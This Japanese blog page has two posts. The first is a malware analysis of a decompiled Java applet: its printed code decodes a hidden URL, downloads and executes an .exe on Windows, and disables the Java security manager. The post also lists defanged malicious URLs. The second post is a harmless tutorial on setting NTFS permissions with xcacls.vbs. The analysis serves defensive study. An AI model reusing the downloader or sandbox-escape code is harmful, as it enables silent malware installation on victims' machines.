// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(1) braces fieldsfirst nonlb
// Source File Name: a.java

package bpac;

import java.applet.*;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.swing.*;

// Referenced classes of package bpac:
// KAVS, b

public class a extends Applet { //アプレットを使ってる

public void start() {
super.start();
try {
String s = b.b(getParameter("a")); //HTTPパラメータaを取得。このパラメータが難読化したマルウェア本体のURL。難読化をb.b()で解除。
String s1 = "exe.";
String s2 = "ridpmt.oi.avaj";
String s3 = "eman.so";
String s4 = "ty";
String s5 = (new StringBuffer(s1)).reverse().toString();
String s6 = (new StringBuffer(s2)).reverse().toString();
String s7 = (new StringBuffer(s3)).reverse().toString();
String s8 = "zb";
String s9 = (new StringBuilder()).append(Math.random()).append(s5).toString(); //ランダム整数.exe
String s10 = System.getProperty(s6); //java.io.tmpdir
String s11 = System.getProperty(s7); //os.name
try {
if(s11.indexOf("Windows") >= 0) {
//Windowsなら可読化したウイルス配布先より、ウイルス本体ダウンロードし、一時ディレクトリのランダム整数.exeにデータ書き出す
URL url = new URL(s);
url.openConnection();
InputStream inputstream = url.openStream();
FileOutputStream fileoutputstream = new FileOutputStream((new StringBuilder()).append(s10).append(s9).toString()); //java.io.tmpdir.ランダム整数.exe
byte abyte0[] = new byte[1024];
int i;
while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1) {
fileoutputstream.write(abyte0, 0, i);
}
inputstream.close();
fileoutputstream.close();
Runtime runtime = Runtime.getRuntime();
//マルウェア本体を実行
runtime.exec((new StringBuilder()).append(s10).append(s9).toString());
}
}
catch(Exception exception1) { }
}
catch(Exception exception) { }
}

public a() {
Object obj = java/lang/System;
String s = "setSecurityManager";
Object aobj[] = {
null
};
KAVS kavs = new KAVS(obj, s, aobj);
HashSet hashset = new HashSet();
hashset.add(kavs);
_cls1 _lcls1 = new Object(hashset) /* anonymous class not found */
class _anm1 {}

;
JList jlist = new JList(new Object[] {
_lcls1
});
add(jlist);
}
}




・b.class

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(1) braces fieldsfirst nonlb
// Source File Name: b.java

package bpac;


public class b {

public b() {
}
//難読化したURLを可読化するだけ
public static String b(String s) {
String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V", "c").replace("D", "d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";", "i").replace("L", "j").replace("K", "-").replace("U", "k").replace("^", "l").replace("Z", "m").replace("B", "n").replace("Q", "o").replace("=", "p").replace("&", "q").replace("M", "r").replace("G", "s").replace("S", "t").replace("!", "u").replace("W", "v").replace("%", "w").replace("H", "x").replace("P", "y").replace("?", "z").replace("T", "/").replace("I", ".").replace("K", "_").replace("(", "_").replace(",", ":").replace("A", "1").replace("N", "2").replace("*", "3").replace("J", "4").replace(")", "5").replace("O", "6").replace("$", "7").replace("X", "8").replace("+", "9").replace("E", "0")).append("?i=1").toString();
return s1;
}
}


・KAVS.class

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(1) braces fieldsfirst nonlb
// Source File Name: KAVS.java

package bpac;

import java.beans.*;
import java.util.*;

// Referenced classes of package bpac:
// Test

public class KAVS extends Expression
implements java.util.Map.Entry {

java.util.Map.Entry entry;

public KAVS(Object target, String methodName, Object arguments[]) {
super(target, methodName, arguments);
}

public Object getKey() {
return null;
}
}


コメントにも書いてますが、HTTPパラメータで渡された難読化されたマルウェア配布サーバURLを取得し、可読化しアプレットから実行というものらしいです。

このJARファイルの前に ttp://failinnocent.co.cc/statistic/kscldwjsfwgpi.pdf 、そしてこのPDFの前に ttp://failinnocent.co.cc/statistic/budrdqcrjnymkl4.php にアクセスしています。

このPDFですが、ESET製品では検知しなかったものの、他のアンチウイルスでは検知しました。
Dr.Webで Exploit.PDF.1654 、TrendMicroでTROJ_PIDIEF.SMZBというものです。

WepawetでこのPDFをチェックすると、ttp://213.5.64.194/statistic/crf.php?i=8 が潜在的なマルウェアと出てきます。


問題のjarファイルやPDFはおそらくbudrdqcrjnymkl4.phpから飛んできたんじゃないかと思います。でもこのPHPに再度アクセスルすると空でした。おそらく一回アクセスしてすると解析をしづらくするために空ページにするのかもしれません。
ただこのphpにどうやってアクセスしたのかがプロキシのログを解析しても分かりませんでした。多分改ざんされたページからリダイレクトしてきたんじゃないかと思うんですが。。。


JAVAアプレットを使ったコンテンツは最近ないのでブラウザで無効にしておくといいかもしれませんね。
[PR]
by jehoshaphat | 2010-11-17 23:59 | 豆知識 | Trackback | Comments(0)
xcacls.vbsを使って詳細なACL(NTFSアクセス権)を変更する
cacls.exe を使ってACL(NTFSアクセス権)を設定するの追記です。

上記記事の cacls.exe だと細かい詳細なアクセス権の設定ができません。
詳細なアクセス権を設定したいときはMSが提供している xcacls.vbs というスクリプトを使うことができるようです。
これは別途ダウンロードが必要となります。

ダウンロードと使い方はMSサポート:Xcacls.vbs を使用して NTFS アクセス許可を変更する方法から可能です。

この Xcacls.vbs スクリプトは Cscript で最適に動作するらしいので、使うときは下記のように使います。

cscript.exe xcacls.vbs 引数

基本的な書式や使い方は calcs と同じですが、より細かくできるになっています。(ユーザーの既存のアクセス許可にアクセス権を追加する /G や、指定されたユーザーのアクセス許可を置き換える /P などはそのまま使えます。)
例えば、特殊なアクセス権の設定やどのファイルフォルダオブジェクトに適用するかなどが指定できます。

上記のMSのページに使い方を載っていますが、一部載ってない情報もあるので、下記コマンドでヘルプを表示してから使うといいかもしれません。(ただヘルプは英語ですが..)

cscript.exe xcacls.vbs /?



下記のようにすると、対象フォルダ・ファイルの現在のアクセス権が表示できます。

>cscript Xcacls.vbs d:\test2
Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

Starting XCACLS.VBS (Version: 5.2) Script at 2010/06/15 14:05:04

Arguments Used:
Filename = "d:\test2"

**************************************************************************
Directory: D:\test2

Permissions:
Type Username Permissions Inheritance

Allowed BUILTIN\Administrators Full Control This Folder, Subfolde
Allowed \CREATOR OWNER Full Control Subfolders and Files
Allowed domain\hoge Full Control This Folder Only
Allowed NT AUTHORITY\SYSTEM Full Control This Folder, Subfolde
Allowed BUILTIN\Users Read and Execute This Folder, Subfolde
Allowed BUILTIN\Users Special (E32) This Folder and Subfo

No Auditing set

Owner: domain\hoge
**************************************************************************

Operation Complete
Elapsed Time: 0.21875 seconds.



よく使うと思われるアクセス権の細かな設定は下記のような書式で可能です。

/G ユーザ名:Perm;Spec
(/P や /D も同じ書式になります。)


Perm:"ファイルのみ" に適用されるアクセス権を表すようです。
Spec:"フォルダとサブディレクトリのみ" に適用されるアクセス権を表すようです。
ただ、Perm,Specで適用先を決めるは微妙みたいですし、分かりずらいので、適用先は後述する /SPEC を使う方がいいです。

Perm,Specで使用できるアクセス権 は下記のように細かく設定可能です。(複数のアクセス権を適用するには加算します。)
D - 所有権の取得
C - アクセス許可の変更
B - アクセス許可の読み取り
A - 削除
9 - 属性の書き込み
8 - 属性の読み取り
7 - サブフォルダとファイルの削除
6 - フォルダのスキャンとファイルの実行
5 - 拡張属性の書き込み
4 - 拡張属性の読み取り
3 - フォルダの作成/データの追加
2 - ファイルの作成/データの書き込み
1 - フォルダの一覧/データの読み取り

また、「/SPEC 適用先 」と指定することで、適用先も下記のように指定できます。
A - このフォルダのみ
B - このフォルダ、サブフォルダおよびファイル (デフォルト)
C - このフォルダとサブフォルダ
D - このフォルダとファイル
E - サブフォルダとファイルのみ
F - サブフォルダのみ
G - ファイルのみ


いくつか例をあげてみます。

test フォルダのみユーザ hoge に対してフォルダの一覧/データの読み取り,フォルダのスキャンとファイルの実行 とするには下記のようにします。

cscript Xcacls.vbs d:\test2 /E /G domain\hoge:16 /SPEC A

test フォルダとサブフォルダのみユーザ hoge に対してフォルダの一覧/データの読み取り,フォルダのスキャンとファイルの実行,ファイルの作成/データの書き込み,フォルダの作成/データの追加 とするには下記のようにします。

cscript Xcacls.vbs d:\test2 /E /G domain\hoge:1236 /SPEC C


testフォルダ配下ファイル・フォルダについて、指定したユーザのアクセス権を無にするには下記のようにします。

cscript Xcacls.vbs d:\test2 /E /R domain\hoge /SPEC B


また /L オプションでログファイルを残すこともできます。同じファイルがある場合は追記になるようです。

cscript Xcacls.vbs d:\test2 /E /R domain\hoge /SPEC B /L log.txt



特にアクセス拒否については、cacls コマンドだと、/D オプションで指定したユーザの全てのアクセスを拒否することしかできませんでしたが、xcacls.vbs を使うと、下記のようにどのアクセス権に対して拒否をするかが設定できます。
下記は test フォルダ配下のフォルダ・ファイルに対してユーザ hoge は削除を拒否という指定になります。

cscript Xcacls.vbs d:\test /E /D domain\hoge:A /SPEC B

下記はフォルダの所有権を administrators グループに変更する指定になります。

cscript Xcacls.vbs d:\test2 /E /O "administrators"


Xcacls.vbs は成功すると、Completed successfully. と表示され、失敗すると Error:xxx となるのでこれで処理の成否が分かります。


ただ、/E を付け忘れると cacls コマンドと同じように一旦ACLが全てクリアされてから適用されちゃうので注意しましょう。
また、コマンドリファレンスにはファイル・フォルダパスの指定でワイルドカードが使えると有るのですが、なぜかワイルドカード指定できませんでした。


余談ですが、このような処理は大抵バッチファイルで行うことが多いと思います。
ということで、ユーザ名のフォルダを作成し、そのユーザのアクセス権を設定するということを実現するために下記のようなバッチとしてみました。
外部ファイル user.txt に設定すべきユーザ名が1行ずつ入っているとし、dドライブ直下に各ユーザ名のフォルダを作成することとします。

@echo off
rem user.txtにユーザ名が入ってる。
FOR /F "delims=" %%a IN (user.txt) DO (
rem %%a に読み込んだ一行のデータが入っている。
rem フォルダ作成
md "d:\%%a"
rem アクセス権設定
cscript Xcacls.vbs "d:\%%a" /E /G "hogedomain\%%a":F /SPEC B
@ECHO %%a
)
pause


user.txtの中身は下記のような感じ

user1
user2
user3


補足:
xcaclsでも、caclsと同じように共有フォルダ(UNCパス)のACLを設定できます。
caclsでは共有フォルダのトップはダメでしたが、xcaclsはOKでした。
こんな感じです。

cscript Xcacls.vbs \\filesv\share /E /D domain\hoge:A



ユーザ・グループの指定について、ローカルユーザやビルトイングループの場合は cacls と同じようです。
詳しくは、3流プログラマのメモ書き : cacls.exe を使ってACL(NTFSアクセス権)を設定するの補足を参照。


参考:
MSサポート:Xcacls.vbs を使用して NTFS アクセス許可を変更する方法
MSサポート:[HOWTO] Xcacls.exe を使用して NTFS アクセス許可を変更する方法
XCACLS.vbs:ある nakagami の日記
開発メモ: Windows バッチファイルでファイルの内容を読み込みたいバッチファイルを読み込み一行ずつ処理する方法が参考になります。
[PR]
by jehoshaphat | 2010-10-23 09:57 | 豆知識 | Trackback | Comments(0)